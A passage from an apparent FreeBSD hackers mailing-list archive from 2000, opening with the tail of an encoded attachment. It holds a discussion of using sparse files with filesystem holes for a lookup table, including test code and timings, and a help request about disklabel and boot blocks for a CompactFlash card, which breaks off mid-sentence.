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 --0-1343872478-972852443=:58714-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 14: 0:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 082F137B479 for ; Sun, 29 Oct 2000 14:00:34 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id QAA62388; Sun, 29 Oct 2000 16:04:14 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sun, 29 Oct 2000 16:04:14 -0600 (CST) From: Ryan Thompson To: Matt Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes In-Reply-To: <200010291627.e9TGRMP70398@earth.backplane.com> Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matt Dillon wrote to Ryan Thompson and freebsd-hackers@FreeBSD.ORG: > :> Hi all... > :> > :> One the tasks that I have undertaken lately is to improve the efficiency > :> of a couple of storage facilities we use internally, here. Basically, > :> they are moderate-size tables currently implemented in SQL, which is OK in > :> terms of performance, but the hash function is breaking down and the > :> storage is rather inefficient for our table of about 2,850,000 members > :> (~2.1 GB total storage). There are 64M possible hash values in our > :> current implementation, and our record size is variable, but could be > :> safely fixed at about 1.5KB... So, total storage if all values were used > :> would be about 96GB. (See where I'm going with this?) > :> > :> One of the options I am considering is actually using address calculation, > :> and taking advantage of filesystem holes, to keep storage down to what is > :> actually being used, while providing instant lookups. > :> > :> The single file would be about 96G addressable bytes... But the actual > :> block count would be much lower. I suppose I will have to create a series > :> of these files and divide the problem into < 4GB chunks, but one > :> lookup/store will still be done with one calculation and one disk seek > :> (just more filehandles open). > :> > :> Deletes seem problematic. My question is, does the operating system > :> provide any way to free blocks used in the middle of a file? > :> > :> Must I periodically re-create these files (long and slow process, but not > :> so bad if done infrequently) to reclaim space, or is there a way to free > :> arbitrary blocks in a file in userland (WITHOUT trashing the filesystem? > :> :-) > :> > :> - Ryan > :> > :> -- > :> Ryan Thompson > :> Network Administrator, Accounts > :> Phone: +1 (306) 664-1161 > :> > :> SaskNow Technologies http://www.sasknow.com > :> #106-380 3120 8th St E Saskatoon, SK S7H 0W2 > > I would strongly recommend using a B+Tree instead of a hash table. With > a hash table slightly different lookups will seek all over the place. > With a B+Tree lookups will stay more localized. Right... That's a good point, but (and, no, I really didn't mention this in my original post), "sequential" access is never important with the system I have described. Lookups are always random, and they are almost always done one at a time (multiple lookups only done for data swaps... very rare, like 1/1e7 accesses... and those are still O(1) (well, O(2), but who's counting ;-)))... > For example, if you insert a (nearly) sorted dictionary of words into an > SQL table with a B+Tree, the memory working set required to insert > efficiently stays constant whether you are inserting a thousand, a million, > or a billion records. That is, the memory requirement is effecitvely > O(LogN) for a disk requirement of O(N). With a hash table, the memory > working set required to insert efficiently is approximately O(N) for a disk > requirement of O(N)... much much worse. Remember, though, I'm not proposing a hash table. I have been lucky enough to design a "hash" function that will crunch down all possible values into about 64M unique keys--so, no collisions. I propose to use this function with address calculation. So, O(1) everything, for single random lookups, which is (virtually) all this data structure must deal with. Sorting isn't necessary, and that could be accomplished in O(n) anyway. > A B+Tree will also scale with the size of the dataset being managed, > so you do not have to preallocate or prereserve file space. So will address calculation + filesystem holes, and sufficiently large filesizes :-) #include int main() { FILE *f; f = fopen("bigfile", "w"); fseek(f, 0x7fffffff, SEEK_SET); putc('\n', f); fclose(f); return 0; } $ cc -o hole hole.c $ ./hole $ ls -lsk bigfile 48 -rw-rw-r-- 1 ryan 2147483648 Oct 29 14:09 bigfile > We are using an in-house SQL database for our product (which I can't > really talk about right now) and, using B+Tree's, I can consistently > insert 300 records/sec on a cheap desktop PC (which I use for testing) > with 64MB of ram (remember, insert requires an internal select to check > for key conflicts), even when the test database grows to several > gigabytes. I haven't even begun implementation, and I haven't had a chance to greatly experiment... So I don't know how this will perform. It would be directly dependent on disk seeks, though... Well... We could try a simple test... Add the following to hole.c: char buf[1024]; /* 1K structure */ int i; ... for (i = 0; i < 8192; i++) /* Insert 8192 records */ { fseek(f, rand()/1024*1024, SEEK_SET); /* Random access simulation */ fwrite(buf, sizeof(buf), 1, f); } $ time ./hole.c real 0m25.436s user 0m0.180s sys 0m4.912s So, about 320 records/sec on the following test machine: Intel Pentium 200MHz, 128MB RAM, ASUS on-board IDE controller, 8.4GB 5400RPM Western Digital IDE HDD. Running FreeBSD 3.4, no softupdates. System typically runs with loads around 1.5-2.0. The machine isn't exactly a speed demon. Try this on a fast SCSI RAID system ;-) If the record accesses follow a sequential pattern, of course, this increases to about 3500/sec.... Another problem is the filesystem block size. On the partition tested, 32K is allocated for each record. This is, however, reasonably fast, when compared with another filesystem on the same physical disk, using the same test program. 8K is allocated for each record (assuming records are not "close enough" to be in the same 8K block). On that filesystem, the speed drops below 275 records/sec... I suppose that's still quite good considering the slow speed of these disks. Admittedly, this is a really naive algorithm.. It could probably be optimized a bit further (perhaps with a more expensive address-calculator ;-) to take advantage of blocksize and record location. Really, though, the accesses ARE pretty much random in the problem set (since this is also a multi-process problem; multiple children are all going to be doing their own separate thing)... So I've gone for fast single record lookups. I suppose the allocation would fit better if I used larger record sizes (for this problem, they could be fixed at about 1.5K).... Even still, storage is still a linear function of n... And allocation will get tighter with the number of records. - Ryan -- Ryan Thompson Network Administrator, Accounts Phone: +1 (306) 664-1161 SaskNow Technologies http://www.sasknow.com #106-380 3120 8th St E Saskatoon, SK S7H 0W2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 14:57:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.attica.net.nz (unknown [202.180.64.33]) by hub.freebsd.org (Postfix) with SMTP id DFE6737B479 for ; Sun, 29 Oct 2000 14:57:35 -0800 (PST) Received: (qmail 4787 invoked from network); 29 Oct 2000 22:56:16 -0000 Received: from 202-180-75-236.nas2.wn1.attica.net.nz (HELO davep200.afterswish.com) (202.180.75.236) by mail.attica.net.nz with SMTP; 29 Oct 2000 22:56:16 -0000 Message-Id: <5.0.0.25.1.20001030110151.009fdeb0@mail.afterswish.com> X-Sender: davep@mail.afterswish.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 30 Oct 2000 11:49:46 +1300 To: freebsd-hackers@freebsd.org, freebsd-small@freebsd.org From: David Preece Subject: disklabel madness, make it boot... Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It should be easy. I'm trying to get a 24Mb CF card to be a bootable drive from 4.0. I have it wired on the primary IDE as a slave drive, it is therefore ad1 and the following almost works: fdisk -I ad1 #take the whole MSDOS partition table dd if=/dev/zero of=/dev/rad1 bs=1k count=1 #Wipe the existing disk label disklabel -rwB ad1 auto #write a disk label newfs /dev/rad1c #create new file system ...when accompanied by copying over the kernel and other such (hints taken from handbook on making a rescue floppy for backups). The boot blocks run and complain because there's no kernel on ad(0,a), which is fair enough since it's on ad(0,c). So giving it the hint it boots the kernel then complains about failing to mount /sbin/init (which is also on 0,c). Anyway, it became clear to me that 'c' is the 'complete' unix partition and what I needed was an 'a' (or root) partition and that such a thing was set using disklabel (correct?). Anyway, to get a first shot I used /stand/sysinstall and wrote the disklabel, which appeared to then bin out my real drive (which fixed itself on reboot), so this is a significant bug in itself. Anyway, I then got the disklabel, which is currently this: # /dev/rad1c: type: ESDI disk: ad1s1 label: flags: bytes/sector: 512 sectors/track: 32 tracks/cylinder: 4 sectors/cylinder: 128 cylinders: 368 sectors/unit: 47200 rpm: 3600 interleave: 1 trackskew: 0 cylinderskew: 0 headswitch: 0 # milliseconds track-to-track seek: 0 # milliseconds drivedata: 0 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 47200 0 4.2BSD 1024 8192 16 # (Cyl. 0 - 368*) c: 47200 0 unused 0 0 # (Cyl. 0 - 368*) (sorry for the bloat), so we can see the whole disk is turned over to an 'a' partition. I piped this to disk (file, disklabel.24meg) and modified my script to: fdisk -I ad1 dd if=/dev/zero of=/dev/ad1 bs=1k count=1 disklabel -R -B ad1 disklabel.24meg newfs /dev/rad1a #create new file system And while I can mount the filesystem with mount /dev/ad1a if I now set this to be the master drive (and disconnect the other one), I get a 'Missing Operating System' from the BIOS - i.e. where are the boot blocks then?. It appears the -B in disklabel isn't working. Stunts I've tried include setting the disklabel to say 'disk: ad0s1' (for when it restarts being the master on the channel), doing a separate 'disklabel -B ad1' to force the boot blocks on and doing the -B within fdisk (i.e. 'fdisk -IB ad1'). The usual combinations of sleep, coffee and sacrifices to the gods also seem to do nothing. Help help help. I have no idea what I'm doing wrong here and any pointers would be much appreciated. As an aside, and a point of view that will no doubt not prove very popular, is this: I'm not a great hacker, but I'm not crap either and this is driving me up the wall. We are talking DCOM levels of frustration here and I can't help the feeling that the whole thing is just too damn 